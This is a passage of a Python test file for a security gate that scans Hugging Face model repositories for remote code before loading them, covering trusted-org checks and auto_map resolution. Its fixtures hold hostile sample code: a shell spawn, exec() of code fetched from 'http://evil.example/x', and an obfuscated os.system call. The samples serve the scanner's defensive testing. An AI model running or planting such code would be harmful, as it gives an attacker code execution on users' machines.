            "get_base_model_from_lora_identifier",
            lambda target, *_args, **_kwargs: base_targets.append(target) or "someone/base",
        )
        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_args: True)
        monkeypatch.setattr(
            remote_code_scan, "external_auto_map_repos", lambda *_args, **_kwargs: set()
        )
        monkeypatch.setattr(
            security,
            "preflight_remote_code_consent_for_targets",
            preflight,
        )
        monkeypatch.setattr(security, "security_load_subdirs", lambda *_args: ())
        monkeypatch.setattr(security, "evaluate_file_security", file_security)

        payload = asyncio.run(
            models_route.scan_model_remote_code(
                model_name = model_name,
                hf_token = None,
                prefer_local_cache = True,
                model_local_path = local_path,
                current_subject = "tester",
            )
        )

        assert resolved == [(model_name, normalized_local_path)]
        assert base_targets == [snapshot]
        assert preflight_targets == [snapshot, "someone/base"]
        assert file_targets == [snapshot, "someone/base"]
        assert payload["model_name"] == model_name
        assert payload["scan_created_repos"] == []

    def test_scan_route_preserves_exact_snapshot_intent(self, monkeypatch):
        import asyncio

        models_route = _load_models_route(monkeypatch)
        import utils.models.model_config as model_config
        import utils.security as security
        import utils.security.remote_code_scan as remote_code_scan

        model_name = "selector/cached-model"
        actual_model_repo_id = "publisher/actual-4bit"
        snapshot = "/cache/models--publisher--actual-4bit/snapshots/exact"
        inspection_calls = []
        preflight_targets = []

        monkeypatch.setattr(models_route, "is_local_path", lambda value: value == snapshot)
        monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda value: value)
        monkeypatch.setattr(
            models_route,
            "_model_config_inspection_target",
            lambda name, prefer_local, path, hf_token = None: inspection_calls.append(
                (name, prefer_local, path)
            )
            or snapshot,
        )
        monkeypatch.setattr(
            model_config,
            "get_base_model_from_lora_identifier",
            lambda *_args, **_kwargs: None,
        )
        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_args: True)
        monkeypatch.setattr(
            remote_code_scan, "external_auto_map_repos", lambda *_args, **_kwargs: set()
        )
        monkeypatch.setattr(
            security,
            "preflight_remote_code_consent_for_targets",
            lambda targets, **_kwargs: preflight_targets.extend(targets)
            or SimpleNamespace(
                has_remote_code = False,
                blocked = False,
                reason = "allowed",
                response_payload = lambda: {
                    "has_remote_code": False,
                    "approvable": True,
                },
            ),
        )
        monkeypatch.setattr(security, "security_load_subdirs", lambda *_args: ())
        monkeypatch.setattr(
            security,
            "evaluate_file_security",
            lambda *_args, **_kwargs: SimpleNamespace(
                blocked = False,
                unsafe_files = [],
            ),
        )

        payload = asyncio.run(
            models_route.scan_model_remote_code(
                model_name = model_name,
                hf_token = None,
                prefer_local_cache = True,
                model_local_path = "/cache/models--someone--cached-model",
                model_snapshot_path = snapshot,
                model_snapshot_repo_id = actual_model_repo_id,
                current_subject = "tester",
            )
        )

        assert inspection_calls == [(actual_model_repo_id, True, snapshot)]
        assert preflight_targets == [snapshot]
        assert payload["model_name"] == actual_model_repo_id
        assert payload["provider"] == "publisher"

    def test_scan_route_canonicalizes_local_adapter_target(self, monkeypatch, tmp_path):
        import asyncio

        models_route = _load_models_route(monkeypatch)
        import utils.models.model_config as model_config
        import utils.security as security
        import utils.security.remote_code_scan as remote_code_scan

        model_name = r"C:\models\adapter"
        normalized_path = tmp_path / "models" / "adapter"
        normalized_path.mkdir(parents = True)
        scan_target = str(normalized_path.resolve())
        base_targets = []
        preflight_targets = []
        file_targets = []

        monkeypatch.setattr(
            models_route,
            "is_local_path",
            lambda value: value in {model_name, scan_target},
        )
        monkeypatch.setattr(
            models_route,
            "normalize_path",
            lambda value: str(normalized_path) if value == model_name else value,
        )
        monkeypatch.setattr(
            model_config,
            "get_base_model_from_lora_identifier",
            lambda target, *_args, **_kwargs: base_targets.append(target) or "someone/base",
        )
        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_args: True)
        monkeypatch.setattr(
            remote_code_scan, "external_auto_map_repos", lambda *_args, **_kwargs: set()
        )
        monkeypatch.setattr(
            security,
            "preflight_remote_code_consent_for_targets",
            lambda targets, **_kwargs: preflight_targets.extend(targets)
            or SimpleNamespace(
                has_remote_code = True,
                blocked = True,
                reason = "approval required",
                response_payload = lambda: {
                    "model_name": scan_target,
                    "has_remote_code": True,
                    "approvable": True,
                },
            ),
        )
        monkeypatch.setattr(security, "security_load_subdirs", lambda *_args: ())
        monkeypatch.setattr(
            security,
            "evaluate_file_security",
            lambda target, **_kwargs: file_targets.append(target)
            or SimpleNamespace(blocked = False, unsafe_files = []),
        )

        payload = asyncio.run(
            models_route.scan_model_remote_code(
                model_name = model_name,
                hf_token = None,
                current_subject = "tester",
            )
        )

        assert base_targets == [scan_target]
        assert preflight_targets == [scan_target, "someone/base"]
        assert file_targets == [scan_target, "someone/base"]
        assert payload["model_name"] == model_name
        assert payload["scan_created_repos"] == []

    def test_scan_route_purges_remote_adapter_downloaded_by_base_resolution(self, monkeypatch):
        """A remote adapter is scan-created when base resolution caches it, so decline purges it."""
        import asyncio

        import routes.models as models_route
        import utils.models.model_config as model_config
        import utils.security as security
        import utils.security.remote_code_scan as rcs

        adapter, base = "someone/lora-adapter", "someone/base-model"
        cached: set = set()

        def _get_base(name, token = None):
            cached.add(adapter)
            return base

        monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
        monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
        monkeypatch.setattr(model_config, "get_base_model_from_lora_identifier", _get_base)
        monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: n in cached)
        monkeypatch.setattr(rcs, "external_auto_map_repos", lambda *_a, **_k: set())
        monkeypatch.setattr(
            security,
            "preflight_remote_code_consent_for_targets",
            lambda *_a, **_k: SimpleNamespace(
                has_remote_code = True,
                blocked = False,
                reason = "allowed: no high-risk patterns",
                response_payload = lambda: {"has_remote_code": True, "approvable": True},
            ),
        )
        monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
        monkeypatch.setattr(
            security,
            "evaluate_file_security",
            lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
        )
        payload = asyncio.run(
            models_route.scan_model_remote_code(
                model_name = adapter, hf_token = None, current_subject = "tester"
            )
        )
        assert adapter in payload["scan_created_repos"]
        assert base in payload["scan_created_repos"]
        assert payload["created_by_scan"] is True

    @pytest.mark.parametrize(
        "rel",
        [
            "core/training/training.py",
            "core/inference/orchestrator.py",
            "core/export/orchestrator.py",
            "routes/training.py",
            "routes/inference.py",
            "routes/export.py",
        ],
    )
    def test_fingerprint_threaded_to_worker(self, rel):
        src = (Path(__file__).resolve().parent.parent / rel).read_text(encoding = "utf-8")
        assert "approved_remote_code_fingerprint" in src
        assert "subject" in src


def _fake_hfapi(resolved_id, author = "unsloth"):
    api = MagicMock()
    api.return_value.model_info.return_value = SimpleNamespace(id = resolved_id, author = author)
    return api


class TestIsTrustedOrgRepo:
    """Only a genuine unsloth/ or nvidia/ repo is trusted (Hub-verified); everything spoofed/malformed/unreachable fails closed."""

    def test_accepts_genuine_unsloth_repo(self):
        with patch("huggingface_hub.HfApi", _fake_hfapi("unsloth/DeepSeek-OCR")):
            assert is_trusted_org_repo("unsloth/DeepSeek-OCR") is True

    def test_accepts_genuine_nvidia_repo(self):
        with patch("huggingface_hub.HfApi", _fake_hfapi("nvidia/Nemotron-H-8B", author = "nvidia")):
            assert is_trusted_org_repo("nvidia/Nemotron-H-8B") is True

    def test_local_path_spoofs_rejected(self):
        for n in ["./unsloth/evil", "/tmp/unsloth/x", "~/unsloth/x", ".\\unsloth\\x"]:
            assert is_trusted_org_repo(n, verify_remote = False) is False, n

    def test_rejects_local_path_even_if_is_local_path_says_so(self):
        with patch("utils.security.trusted_org.is_local_path", return_value = True):
            assert is_trusted_org_repo("unsloth/x") is False

    def test_local_dir_shadowing_trusted_name_rejected(self, tmp_path, monkeypatch):
        monkeypatch.chdir(tmp_path)
        (tmp_path / "unsloth" / "evil").mkdir(parents = True)
        clear_cache()
        with patch("huggingface_hub.HfApi") as Api:
            assert is_trusted_org_repo("unsloth/evil") is False
            Api.assert_not_called()

    def test_untrusted_namespaces_rejected(self):
        for n in ["evil/unsloth-clone", "unsloth-evil/x", "nvidiaa/x", "huggingface/x"]:
            assert is_trusted_org_repo(n, verify_remote = False) is False, n

    def test_malformed_names_rejected(self):
        for n in ["", "gpt2", "unsloth", "a/b/c", "/x", "unsloth/", "/unsloth", None]:
            assert is_trusted_org_repo(n, verify_remote = False) is False, repr(n)

    def test_rejects_when_resolved_owner_is_not_trusted(self):
        with patch("huggingface_hub.HfApi", _fake_hfapi("someoneelse/x", author = "someoneelse")):
            assert is_trusted_org_repo("unsloth/x") is False

    def test_fails_closed_when_hub_raises(self):
        for exc in (ConnectionError("net"), Exception("404"), TimeoutError("t")):
            clear_cache()
            api = MagicMock()
            api.return_value.model_info.side_effect = exc
            with patch("huggingface_hub.HfApi", api):
                assert is_trusted_org_repo("unsloth/maybe-real") is False

    def test_offline_trusts_shape_without_hub(self, monkeypatch):
        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
        clear_cache()
        with patch("huggingface_hub.HfApi") as Api:
            assert is_trusted_org_repo("unsloth/Local-Cached") is True
            assert is_trusted_org_repo("nvidia/Nemotron-H-x") is True
            assert is_trusted_org_repo("evil/x") is False
            Api.assert_not_called()

    def test_token_failure_does_not_poison_authed_lookup(self):
        clear_cache()
        api = MagicMock()
        api.return_value.model_info.side_effect = [
            Exception("401 gated"),
            SimpleNamespace(id = "unsloth/Private", author = "unsloth"),
        ]
        with patch("huggingface_hub.HfApi", api):
            assert is_trusted_org_repo("unsloth/Private") is False
            assert is_trusted_org_repo("unsloth/Private", hf_token = "hf_xyz") is True


class TestNemotronGateUsesTrustCheck:
    """The NemotronH auto-enable in all three workers is gated on is_trusted_org_repo, so a spoofed nemotron-named repo never auto-enables."""

    @pytest.mark.parametrize(
        "rel",
        [
            "core/training/worker.py",
            "core/inference/worker.py",
            "core/export/worker.py",
        ],
    )
    def test_worker_nemotron_block_calls_trust_check(self, rel):
        src = (_BACKEND / rel).read_text(encoding = "utf-8")
        assert "_NEMOTRON_TRUST_SUBSTRINGS" in src
        assert "is_trusted_org_repo(" in src

    def test_gate_predicate_blocks_spoof_allows_trusted(self):
        subs = ("nemotron_h", "nemotron-h", "nemotron-3-nano")

        def gate(name):
            low = name.lower()
            return (
                any(s in low for s in subs)
                and (low.startswith("unsloth/") or low.startswith("nvidia/"))
                and is_trusted_org_repo(name, verify_remote = False)
            )

        with patch.dict(os.environ, {"HF_HUB_OFFLINE": "1"}):
            clear_cache()
            assert gate("unsloth/Nemotron-H-8B") is True
        clear_cache()
        assert gate("evil/nemotron_h-backdoor") is False
        assert gate("unsloth/llama-3-8b") is False


_SCAN_MALICIOUS = (
    "import os, subprocess, urllib.request, base64\n"
    "subprocess.Popen(['/bin/sh', '-c', 'id'])\n"
    "exec(urllib.request.urlopen('http://evil.example/x').read())\n"
    "__import__('o' + 's').system('whoami')\n"
    "BLOB = '" + ("QWxhZGRpbjpvcGVuc2VzYW1l" * 20) + "'\n"
)
_SCAN_BENIGN = (
    "import torch\nfrom torch import nn\n"
    "from transformers import PreTrainedModel\n"
    "class DeepseekOCRForCausalLM(PreTrainedModel):\n"
    "    def forward(self, x):\n        return self.proj(x)\n"
)


class TestRemoteCodeScan:
    def test_flags_malicious(self):
        res = scan_remote_code_files({"modeling_evil.py": _SCAN_MALICIOUS})
        assert not res.clean
        assert res.max_severity in (CRITICAL, HIGH)
        assert res.findings
        assert should_block_remote_code(res) is True

    def test_benign_is_clean(self):
        res = scan_remote_code_files({"modeling_ok.py": _SCAN_BENIGN})
        assert res.clean, res.summary()
        assert should_block_remote_code(res) is False

    def test_only_python_is_scanned(self):
        res = scan_remote_code_files({"weights.bin": _SCAN_MALICIOUS, "README.md": _SCAN_MALICIOUS})
        assert res.clean

    def test_fingerprint_stable_and_sensitive(self):
        a = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
        b = remote_code_fingerprint({"m.py": _SCAN_BENIGN})
        c = remote_code_fingerprint({"m.py": _SCAN_BENIGN + "\n# changed"})
        assert a == b
        assert a != c

    def test_scanner_faithful_to_scan_packages(self):
        sp = _BACKEND.parents[1] / "scripts" / "scan_packages.py"
        if not sp.is_file():
            pytest.skip("scan_packages.py not present")
        import importlib.util

        spec = importlib.util.spec_from_file_location("scan_packages_probe", sp)
        mod = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(mod)
        assert len(mod.check_py_file(_SCAN_MALICIOUS, "modeling_x.py", "pkg")) > 0
        assert not scan_remote_code_files({"modeling_x.py": _SCAN_MALICIOUS}).clean


class TestConsentProvider:
    """_consent_provider attributes the dialog's `from "<provider>"` tag only when safe."""

    @staticmethod
    def _fn():
        from routes.models import _consent_provider
        return _consent_provider

    def test_single_hub_id_returns_owner(self):
        assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"]) == "NVIDIA"
        assert self._fn()("NVIDIA/Nemotron", ["NVIDIA/Nemotron"], []) == "NVIDIA"

    def test_multi_target_lora_returns_none(self):
        assert self._fn()("user/adapter", ["user/adapter", "NVIDIA/base"]) is None

    def test_external_auto_map_ref_returns_none(self):
        assert self._fn()("owner/repo", ["owner/repo"], ["evilorg/evilrepo"]) is None

    def test_local_path_returns_none(self, tmp_path):
        d = tmp_path / "org" / "model"
        d.mkdir(parents = True)
        assert self._fn()(str(d), [str(d)]) is None
        assert self._fn()("/home/me/model", ["/home/me/model"]) is None

    def test_non_canonical_id_returns_none(self):
        fn = self._fn()
        assert fn("a/b/c", ["a/b/c"]) is None
        assert fn("/repo", ["/repo"]) is None
        assert fn("plainname", ["plainname"]) is None


class TestScannerCoversAllExecutableCode:
    """repo_remote_code_files must collect every .py the loader could execute, so the fingerprint can't certify unscanned code."""

    def test_local_scan_is_recursive(self, tmp_path):
        (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_x.M"}}')
        (tmp_path / "modeling_x.py").write_text("from .helpers import sub\n")
        nested = tmp_path / "helpers"
        nested.mkdir()
        (nested / "sub.py").write_text("import os\nos.system('id')\n")
        files = repo_remote_code_files(str(tmp_path))
        assert "modeling_x.py" in files
        assert str(Path("helpers") / "sub.py") in files

    def test_remote_partial_download_is_unscannable(self):
        # A partial file set would fingerprint 'clean'.
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            if fn == "config.json":
                import json
                import tempfile

                p = Path(tempfile.mkdtemp()) / "config.json"
                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
                return str(p)
            if fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            raise RuntimeError("download failed")

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch("huggingface_hub.list_repo_files", return_value = ["modeling_x.py"]),
        ):
            with pytest.raises(RemoteCodeUnscannable):
                repo_remote_code_files("third/party")

    def test_external_auto_map_repo_is_scanned(self):
        # auto_map can point at code in another repo, which transformers fetches and runs.
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            p = Path(tempfile.mkdtemp()) / fn
            if fn == "config.json":
                p.write_text(
                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
                )
            elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
                p.write_text("import os\nos.system('id')\n")
            elif fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            else:
                raise RuntimeError(f"unexpected fetch {repo}:{fn}")
            return str(p)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch("huggingface_hub.list_repo_files", return_value = []),
        ):
            files = repo_remote_code_files("victim/model")
        assert "evilorg/evilrepo--modeling_evil.py" in files
        assert not scan_remote_code_files(files).clean

    def test_external_auto_map_helper_imports_are_scanned(self):
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            p = Path(tempfile.mkdtemp()) / fn
            if fn == "config.json":
                p.write_text(
                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
                )
            elif repo == "evilorg/evilrepo" and fn == "modeling_evil.py":
                p.write_text("from .helper import run\n")
            elif repo == "evilorg/evilrepo" and fn == "helper.py":
                p.write_text("import os\nos.system('id')\n")
            elif fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            else:
                raise RuntimeError(f"unexpected fetch {repo}:{fn}")
            return str(p)

        def _list(repo, token = None):
            if repo == "evilorg/evilrepo":
                return ["modeling_evil.py", "helper.py"]
            return []

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch("huggingface_hub.list_repo_files", side_effect = _list),
        ):
            files = repo_remote_code_files("victim/model")
        assert "evilorg/evilrepo--helper.py" in files
        assert not scan_remote_code_files(files).clean

    def test_stale_own_repo_auto_map_ref_is_ignored_not_failed_closed(self):
        # Stale own-repo refs (e.g. PaddleOCR-VL) cannot run, so skip them rather than fail closed.
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            p = Path(tempfile.mkdtemp()) / fn
            if fn == "config.json":
                p.write_text(json.dumps({"model_type": "x"}))
            elif fn == "tokenizer_config.json":
                p.write_text(json.dumps({"auto_map": {"AutoProcessor": "processing_ppocrvl.Proc"}}))
            elif fn == "processing_paddleocr_vl.py":
                p.write_text("import torch\n")
            elif fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            else:
                raise RuntimeError(f"stale/absent file must not be fetched: {fn}")
            return str(p)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch(
                "huggingface_hub.list_repo_files",
                return_value = ["config.json", "tokenizer_config.json", "processing_paddleocr_vl.py"],
            ),
        ):
            files = repo_remote_code_files("unsloth/PaddleOCR-VL")
        assert files != {}, "must not fail closed: present .py are scannable"
        assert "processing_paddleocr_vl.py" in files
        assert "processing_ppocrvl.py" not in files

    def test_present_referenced_py_fetch_failure_still_fails_closed(self):
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            if fn == "config.json":
                p = Path(tempfile.mkdtemp()) / fn
                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.M"}}))
                return str(p)
            if fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            raise RuntimeError("transient fetch failure")

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch("huggingface_hub.list_repo_files", return_value = ["config.json", "modeling_x.py"]),
        ):
            with pytest.raises(RemoteCodeUnscannable):
                repo_remote_code_files("third/party")

    def test_external_tokenizer_auto_map_list_is_scanned(self):
        # A tokenizer auto_map [slow, fast] list: the external code in the list must still be scanned
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            p = Path(tempfile.mkdtemp()) / fn
            if fn == "config.json":
                p.write_text(json.dumps({"model_type": "llama"}))
            elif fn == "tokenizer_config.json":
                p.write_text(
                    json.dumps(
                        {
                            "auto_map": {
                                "AutoTokenizer": [
                                    "evilorg/evilrepo--tokenization_evil.EvilTokenizer",
                                    None,
                                ]
                            }
                        }
                    )
                )
            elif repo == "evilorg/evilrepo" and fn == "tokenization_evil.py":
                p.write_text("import os\nos.system('id')\n")
            elif fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            else:
                raise RuntimeError(f"unexpected fetch {repo}:{fn}")
            return str(p)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch("huggingface_hub.list_repo_files", return_value = []),
        ):
            files = repo_remote_code_files("victim/model")
        assert "evilorg/evilrepo--tokenization_evil.py" in files
        assert not scan_remote_code_files(files).clean

    def test_unreachable_external_ref_is_unscannable(self):
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            if fn == "config.json":
                p = Path(tempfile.mkdtemp()) / "config.json"
                p.write_text(
                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}})
                )
                return str(p)
            if fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            raise RuntimeError("download failed")

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch("huggingface_hub.list_repo_files", return_value = []),
        ):
            with pytest.raises(RemoteCodeUnscannable):
                repo_remote_code_files("victim/model")

    def test_unrelated_local_py_is_still_scanned(self, tmp_path):
        # Deliberately broad: importlib / exec can reach any .py, so closure-only scanning is a bypass.
        (tmp_path / "config.json").write_text('{"auto_map": {"AutoModel": "modeling_ok.M"}}')
        (tmp_path / "modeling_ok.py").write_text("import torch\n")
        (tmp_path / "unrelated.py").write_text("import os\nos.system('id')\n")
        files = repo_remote_code_files(str(tmp_path))
        assert "unrelated.py" in files
        assert not scan_remote_code_files(files).clean

    def test_external_mis_derived_dotted_ref_dropped_when_real_present(self):
        # Subpackage refs derive a dotted name; drop it and scan the real pkg/ path instead.
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            if fn == "config.json":
                p = Path(tempfile.mkdtemp()) / "config.json"
                p.write_text(
                    json.dumps({"auto_map": {"AutoModel": "evilorg/evilrepo--pkg.modeling_evil.M"}})
                )
                return str(p)
            if fn in REMOTE_CODE_CONFIG_FILES:
                raise EntryNotFoundError(fn)
            if repo == "evilorg/evilrepo" and fn == "pkg/modeling_evil.py":
                p = Path(tempfile.mkdtemp()) / "modeling_evil.py"
                p.write_text("import os\nos.system('id')\n")
                return str(p)
            raise RuntimeError(f"unexpected fetch {repo}:{fn}")

        def _list(repo, token = None):
            if repo == "evilorg/evilrepo":
                return ["pkg/modeling_evil.py"]
            return []

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch("huggingface_hub.list_repo_files", side_effect = _list),
        ):
            files = repo_remote_code_files("victim/model")
        assert "evilorg/evilrepo--pkg/modeling_evil.py" in files
        assert "evilorg/evilrepo--pkg.modeling_evil.py" not in files
        assert not scan_remote_code_files(files).clean

    def test_external_auto_map_repos_enumerated_for_cleanup(self, tmp_path):
        from utils.security.remote_code_scan import external_auto_map_repos

        (tmp_path / "config.json").write_text(
            '{"auto_map": {"AutoModel": "evilorg/evilrepo--modeling_evil.M"}}'
        )
        (tmp_path / "tokenizer_config.json").write_text(
            '{"auto_map": {"AutoTokenizer": ["other/repo--tokenization_x.Slow", null]}}'
        )
        repos = external_auto_map_repos(str(tmp_path))
        assert repos == {"evilorg/evilrepo", "other/repo"}

        (tmp_path / "plain").mkdir()
        (tmp_path / "plain" / "config.json").write_text(
            '{"auto_map": {"AutoModel": "modeling_local.M"}}'
        )
        assert external_auto_map_repos(str(tmp_path / "plain")) == set()

    def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self):
        def _dl(
            repo,
            fn,
            token = None,
            cache_dir = None,
        ):
            import json
            import tempfile

            p = Path(tempfile.mkdtemp()) / fn
            if fn == "config.json":
                p.write_text(
                    json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}})
                )
                return str(p)
            raise EntryNotFoundError(fn)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch(
                "huggingface_hub.list_repo_files",
                return_value = ["config.json", "model-00001-of-00097.gguf"],
            ),
        ):
            files = repo_remote_code_files("unsloth/Some-Model-GGUF")
        assert files == {}

    def test_tokenizer_only_auto_map_is_gated(self, tmp_path):
        from utils.security import preflight_remote_code_consent

        (tmp_path / "config.json").write_text('{"model_type": "llama"}')
        (tmp_path / "tokenizer_config.json").write_text(
            '{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}'
        )
        (tmp_path / "tokenization_evil.py").write_text(
            "import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n"
        )
        d = preflight_remote_code_consent(str(tmp_path), trusted_org = False)
        assert d.has_remote_code is True
        assert d.blocked is True
        assert d.fingerprint

    def test_config_file_list_covers_transformers_auto_map_sources(self):
        # Pinned to installed transformers constants so a renamed auto_map config trips here.
        from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE
        from transformers.utils import (
            CONFIG_NAME,
            FEATURE_EXTRACTOR_NAME,
            IMAGE_PROCESSOR_NAME,
            PROCESSOR_NAME,
            VIDEO_PROCESSOR_NAME,
        )

        expected = {
            CONFIG_NAME,
            TOKENIZER_CONFIG_FILE,
            FEATURE_EXTRACTOR_NAME,
            IMAGE_PROCESSOR_NAME,
            PROCESSOR_NAME,
            VIDEO_PROCESSOR_NAME,
        }
        missing = expected - set(REMOTE_CODE_CONFIG_FILES)
        assert not missing, (
            "transformers reads auto_map from config files the consent gate does not "
            f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES."
        )

    def test_load_configs_returns_empty_list_when_all_404(self):
        # [] means no config auto_map; None means unknown and would force a false unscannable block.
        with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")):
            configs = consent._load_remote_code_configs("some/plain-repo")
        assert configs == []
        with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")):
            configs = consent._load_remote_code_configs("some/gated-repo")
        assert configs is None

    def test_gguf_repo_auto_map_is_scanned_for_non_file_load_paths(self, tmp_path):
        # A GGUF-only repo id still hits export paths that run auto_map; only a direct .gguf is inert.
        def _dl(
            repo_id = None,
            filename = None,
            token = None,
            **kw,
        ):
            import json
            if filename == "config.json":
                p = tmp_path / "config.json"
                p.write_text(
                    json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}})
                )
                return str(p)
            raise EntryNotFoundError(filename)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch(
                "huggingface_hub.list_repo_files",
                return_value = ["config.json", "model-00001-of-00097.gguf"],
            ),
        ):
            assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is True

    def test_gguf_only_repo_with_python_is_scanned_and_blocked(self, tmp_path):
        def _dl(
            repo_id = None,
            filename = None,
            token = None,
            **kw,
        ):
            import json

            p = tmp_path / filename
            if filename == "config.json":
                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
                return str(p)
            if filename == "modeling_evil.py":
                p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
                return str(p)
            raise EntryNotFoundError(filename)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch(
                "huggingface_hub.list_repo_files",
                return_value = ["config.json", "modeling_evil.py", "model.Q4_K_M.gguf"],
            ),
        ):
            d = evaluate_remote_code_consent_for_targets(
                ["evil/GGUF-Only"],
                trust_remote_code = True,
            )

        assert d.has_remote_code is True
        assert d.blocked is True
        assert d.max_severity == HIGH
        assert d.fingerprint

    def test_transformers_style_repo_auto_map_is_scanned_and_blocked(self, tmp_path):
        def _dl(
            repo_id = None,
            filename = None,
            token = None,
            **kw,
        ):
            import json

            p = tmp_path / filename
            if filename == "config.json":
                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
                return str(p)
            if filename == "modeling_evil.py":
                p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
                return str(p)
            raise EntryNotFoundError(filename)

        for weights in (["model.safetensors"], ["weights.npz"]):
            with (
                patch("huggingface_hub.hf_hub_download", side_effect = _dl),
                patch(
                    "huggingface_hub.list_repo_files",
                    return_value = ["config.json", "modeling_evil.py", *weights],
                ),
            ):
                d = evaluate_remote_code_consent_for_targets(
                    ["org/Transformers-Style"],
                    trust_remote_code = True,
                )
            assert d.has_remote_code is True, weights
            assert d.blocked is True, weights
            assert d.max_severity == HIGH, weights
            assert d.fingerprint, weights

    def test_direct_gguf_file_reference_has_no_auto_map(self):
        with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")):
            assert consent._config_has_auto_map("org/repo/model.gguf") is False

    def test_remote_repo_named_gguf_is_not_suffix_skipped(self):
        # A two-segment repo id ending in .gguf can still ship safetensors + auto_map.
        def _dl(
            repo_id = None,
            filename = None,
            token = None,
            **kw,
        ):
            import json
            import tempfile

            if filename == "config.json":
                p = Path(tempfile.mkdtemp()) / "config.json"
                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
                return str(p)
            raise EntryNotFoundError(filename)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch(
                "huggingface_hub.list_repo_files",
                return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"],
            ),
        ):
            assert consent._config_has_auto_map("evil/model.gguf") is True

    def test_mixed_gguf_and_safetensors_repo_is_still_gated(self):
        def _dl(
            repo_id = None,
            filename = None,
            token = None,
            **kw,
        ):
            import json
            import tempfile

            if filename == "config.json":
                p = Path(tempfile.mkdtemp()) / "config.json"
                p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}}))
                return str(p)
            raise EntryNotFoundError(filename)

        with (
            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
            patch(
                "huggingface_hub.list_repo_files",
                return_value = ["config.json", "model.safetensors", "model.gguf"],
            ),
        ):
            assert consent._config_has_auto_map("org/Mixed-Repo") is True

    def test_mixed_gguf_and_bin_repo_is_still_gated(self):
        def _dl(
            repo_id = None,
            filename = None,
            token = None,
            **kw,
        ):
            import json
            import tempfile

            if filename == "config.json":
                p = Path(tempfile.mkdtemp()) / "config.json"
                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
                return str(p)
            raise EntryNotFoundError(filename)

        for weight in (
            "pytorch_model.bin",
            "model.pt",
            "model.pth",
            "tf_model.h5",
            "flax_model.msgpack",
            "model.onnx",
            "model.ckpt",
        ):
